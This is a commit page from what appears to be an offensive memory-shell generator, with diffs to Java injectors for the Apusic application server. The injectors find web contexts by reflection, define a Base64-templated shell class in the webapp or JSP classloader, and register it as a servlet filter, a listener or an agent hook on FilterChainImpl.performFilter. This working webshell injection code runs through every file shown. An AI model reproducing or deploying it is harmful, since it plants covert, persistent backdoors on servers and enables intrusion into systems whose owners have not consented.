Skip to content

Commit 70dc7d3

Browse files
committed
feat: injector support print some msg
1 parent 5c12e34 commit 70dc7d3

File tree

54 files changed

+2403
-892
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

54 files changed

+2403
-892
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java

Lines changed: 3 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -40,7 +40,6 @@ private static void launch(Instrumentation inst) throws Exception {
4040
String name = allLoadedClass.getName();
4141
if (TARGET_CLASS.replace("/", ".").equals(name)) {
4242
inst.retransformClasses(allLoadedClass);
43-
System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter");
4443
}
4544
}
4645
}
@@ -61,6 +60,7 @@ protected ClassLoader getClassLoader() {
6160
};
6261
ClassVisitor cv = getClassVisitor(cw);
6362
cr.accept(cv, ClassReader.EXPAND_FRAMES);
63+
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
6464
return cw.toByteArray();
6565
} catch (Exception e) {
6666
e.printStackTrace();
@@ -77,12 +77,8 @@ public MethodVisitor visitMethod(int access, String name, String descriptor,
7777
String signature, String[] exceptions) {
7878
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
7979
if (TARGET_METHOD_NAME.equals(name)) {
80-
try {
81-
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
82-
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
83-
} catch (Exception e) {
84-
e.printStackTrace();
85-
}
80+
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
81+
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
8682
}
8783
return mv;
8884
}

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java

Lines changed: 59 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -19,24 +19,7 @@
1919
*/
2020
public class ApusicFilterInjector {
2121

22-
String msg = "";
23-
24-
public ApusicFilterInjector() {
25-
try {
26-
List<Object> contexts = getContext();
27-
msg += "contexts size: " + contexts.size() + "\n";
28-
for (Object context : contexts) {
29-
Object shell = getShell(context);
30-
boolean inject = inject(context, shell);
31-
msg += "context: " + getFieldValue(context, "contextRoot") + (inject ? " ok" : " already") + "\n";
32-
}
33-
} catch (Throwable e) {
34-
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
35-
PrintStream printStream = new PrintStream(outputStream);
36-
e.printStackTrace(printStream);
37-
msg += outputStream.toString();
38-
}
39-
}
22+
private String msg = "";
4023

4124
public String getUrlPattern() {
4225
return "{{urlPattern}}";
@@ -50,6 +33,45 @@ public String getBase64String() throws IOException {
5033
return "{{base64Str}}";
5134
}
5235

36+
public ApusicFilterInjector() {
37+
List<Object> contexts = null;
38+
try {
39+
contexts = getContext();
40+
} catch (Throwable throwable) {
41+
msg += "context error: " + getErrorMessage(throwable);
42+
}
43+
if (contexts != null) {
44+
for (Object context : contexts) {
45+
msg += ("context: [" + getContextRoot(context) + "] ");
46+
try {
47+
Object shell = getShell(context);
48+
inject(context, shell);
49+
msg += "[" + getUrlPattern() + "] ready\n";
50+
} catch (Throwable e) {
51+
msg += "failed " + getErrorMessage(e) + "\n";
52+
}
53+
}
54+
}
55+
System.out.println(msg);
56+
}
57+
58+
@SuppressWarnings("all")
59+
private String getContextRoot(Object context) {
60+
String r = null;
61+
try {
62+
r = (String) invokeMethod(context, "getContextPath", null, null);
63+
} catch (Exception ignored) {
64+
}
65+
String c = context.getClass().getName();
66+
if (r == null) {
67+
return c;
68+
}
69+
if (r.isEmpty()) {
70+
return c + "(/)";
71+
}
72+
return c + "(" + r + ")";
73+
}
74+
5375
/**
5476
* context: com.apusic.web.container.WebContainer
5577
* context -> webapp: com.apusic.deploy.runtime.WebModule
@@ -92,7 +114,7 @@ private Object getShell(Object context) throws Exception {
92114
obj = loader.loadClass(getClassName()).newInstance();
93115
defineLoader = internalLoader;
94116
}
95-
msg += defineLoader + " loaded \n";
117+
msg += "[" + defineLoader.getClass().getName() + "] ";
96118
return obj;
97119
}
98120

@@ -107,10 +129,10 @@ private void defineShell(ClassLoader classLoader) throws Exception {
107129
}
108130
}
109131

110-
public boolean inject(Object context, Object filter) throws Exception {
132+
public void inject(Object context, Object filter) throws Exception {
111133
Object webModule = getFieldValue(context, "webapp");
112134
if (invokeMethod(webModule, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
113-
return false;
135+
return;
114136
}
115137
// addFilterMapping
116138
Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.apusic.deploy.runtime.FilterMapping");
@@ -127,12 +149,11 @@ public boolean inject(Object context, Object filter) throws Exception {
127149
Class<?> filterMappingArrayClass = Array.newInstance(filterMappingClass, 0).getClass();
128150
Object filterMapper = getFieldValue(context, "filterMapper");
129151
invokeMethod(filterMapper, "populate", new Class[]{filterMappingArrayClass}, new Object[]{allFilterMappings});
130-
return true;
131152
}
132153

133154
@Override
134155
public String toString() {
135-
return super.toString() + "\n" + msg;
156+
return msg;
136157
}
137158

138159
@SuppressWarnings("all")
@@ -216,4 +237,19 @@ public static Object invokeMethod(Object obj, String methodName, Class<?>[] para
216237
throw new RuntimeException("Error invoking method: " + methodName, e);
217238
}
218239
}
240+
241+
@SuppressWarnings("all")
242+
private String getErrorMessage(Throwable throwable) {
243+
PrintStream printStream = null;
244+
try {
245+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
246+
printStream = new PrintStream(outputStream);
247+
throwable.printStackTrace(printStream);
248+
return outputStream.toString();
249+
} finally {
250+
if (printStream != null) {
251+
printStream.close();
252+
}
253+
}
254+
}
219255
}

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java

Lines changed: 71 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -18,24 +18,7 @@
1818
*/
1919
public class ApusicListenerInjector {
2020

21-
String msg = "";
22-
23-
public ApusicListenerInjector() {
24-
try {
25-
List<Object> contexts = getContext();
26-
msg += "contexts size: " + contexts.size() + "\n";
27-
for (Object context : contexts) {
28-
Object shell = getShell(context);
29-
boolean inject = inject(context, shell);
30-
msg += "context: " + getFieldValue(context, "contextRoot") +(inject ? " ok" : " already") + "\n";
31-
}
32-
} catch (Throwable e) {
33-
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
34-
PrintStream printStream = new PrintStream(outputStream);
35-
e.printStackTrace(printStream);
36-
msg += outputStream.toString();
37-
}
38-
}
21+
private String msg = "";
3922

4023
public String getUrlPattern() {
4124
return "{{urlPattern}}";
@@ -49,6 +32,45 @@ public String getBase64String() throws IOException {
4932
return "{{base64Str}}";
5033
}
5134

35+
public ApusicListenerInjector() {
36+
List<Object> contexts = null;
37+
try {
38+
contexts = getContext();
39+
} catch (Throwable throwable) {
40+
msg += "context error: " + getErrorMessage(throwable);
41+
}
42+
if (contexts != null) {
43+
for (Object context : contexts) {
44+
msg += ("context: [" + getContextRoot(context) + "] ");
45+
try {
46+
Object shell = getShell(context);
47+
inject(context, shell);
48+
msg += "[/*] ready\n";
49+
} catch (Throwable e) {
50+
msg += "failed " + getErrorMessage(e) + "\n";
51+
}
52+
}
53+
}
54+
System.out.println(msg);
55+
}
56+
57+
@SuppressWarnings("all")
58+
private String getContextRoot(Object context) {
59+
String r = null;
60+
try {
61+
r = (String) invokeMethod(context, "getContextPath", null, null);
62+
} catch (Exception ignored) {
63+
}
64+
String c = context.getClass().getName();
65+
if (r == null) {
66+
return c;
67+
}
68+
if (r.isEmpty()) {
69+
return c + "(/)";
70+
}
71+
return c + "(" + r + ")";
72+
}
73+
5274
public List<Object> getContext() throws Exception {
5375
List<Object> contexts = new ArrayList<Object>();
5476
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -68,20 +90,26 @@ public List<Object> getContext() throws Exception {
6890
}
6991

7092
private Object getShell(Object context) throws Exception {
93+
// WebApp 类加载器,ServletContext 使用这个进行组件的类加载
7194
ClassLoader loader = (ClassLoader) getFieldValue(context, "loader");
95+
ClassLoader defineLoader;
96+
Object obj;
7297
try {
98+
// Apusic 9.0 SPX,优先从当前 loader 进行加载
7399
defineShell(loader);
74-
Object obj = loader.loadClass(getClassName()).newInstance();
75-
msg += loader + " loaded \n";
76-
return obj;
100+
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
101+
obj = loader.loadClass(getClassName()).newInstance();
102+
defineLoader = loader;
77103
} catch (ClassNotFoundException e) {
78-
// Apusic 9.0.1
104+
// Apusic 9.0.1,委托给 jspLoader 进行加载,因此直接往 loader 里面 define 会 ClassNotFound
79105
ClassLoader internalLoader = (ClassLoader) getFieldValue(getFieldValue(loader, "delegate"), "jspLoader");
80106
defineShell(internalLoader);
81-
Object obj = loader.loadClass(getClassName()).newInstance();
82-
msg += internalLoader + " loaded \n";
83-
return obj;
107+
// 模拟组件初始化(尝试使用 WebApp 类加载器进行组件类实例化)
108+
obj = loader.loadClass(getClassName()).newInstance();
109+
defineLoader = internalLoader;
84110
}
111+
msg += "[" + defineLoader.getClass().getName() + "] ";
112+
return obj;
85113
}
86114

87115
@SuppressWarnings("all")
@@ -95,19 +123,18 @@ private void defineShell(ClassLoader classLoader) throws Exception {
95123
}
96124
}
97125

98-
public boolean inject(Object context, Object listener) throws Exception {
126+
public void inject(Object context, Object listener) throws Exception {
99127
Object webModule = getFieldValue(context, "webapp");
100128
if ((boolean) invokeMethod(webModule, "hasListener", new Class[]{String.class}, new Object[]{getClassName()})) {
101-
return false;
129+
return;
102130
}
103131
invokeMethod(webModule, "addListener", new Class[]{String.class}, new Object[]{getClassName()});
104132
invokeMethod(context, "loadListeners", null, null);
105-
return true;
106133
}
107134

108135
@Override
109136
public String toString() {
110-
return super.toString() + "\n" + msg;
137+
return msg;
111138
}
112139

113140
@SuppressWarnings("all")
@@ -191,4 +218,19 @@ public static Object invokeMethod(Object obj, String methodName, Class<?>[] para
191218
throw new RuntimeException("Error invoking method: " + methodName, e);
192219
}
193220
}
221+
222+
@SuppressWarnings("all")
223+
private String getErrorMessage(Throwable throwable) {
224+
PrintStream printStream = null;
225+
try {
226+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
227+
printStream = new PrintStream(outputStream);
228+
throwable.printStackTrace(printStream);
229+
return outputStream.toString();
230+
} finally {
231+
if (printStream != null) {
232+
printStream.close();
233+
}
234+
}
235+
}
194236
}

0 commit comments

Comments
 (0)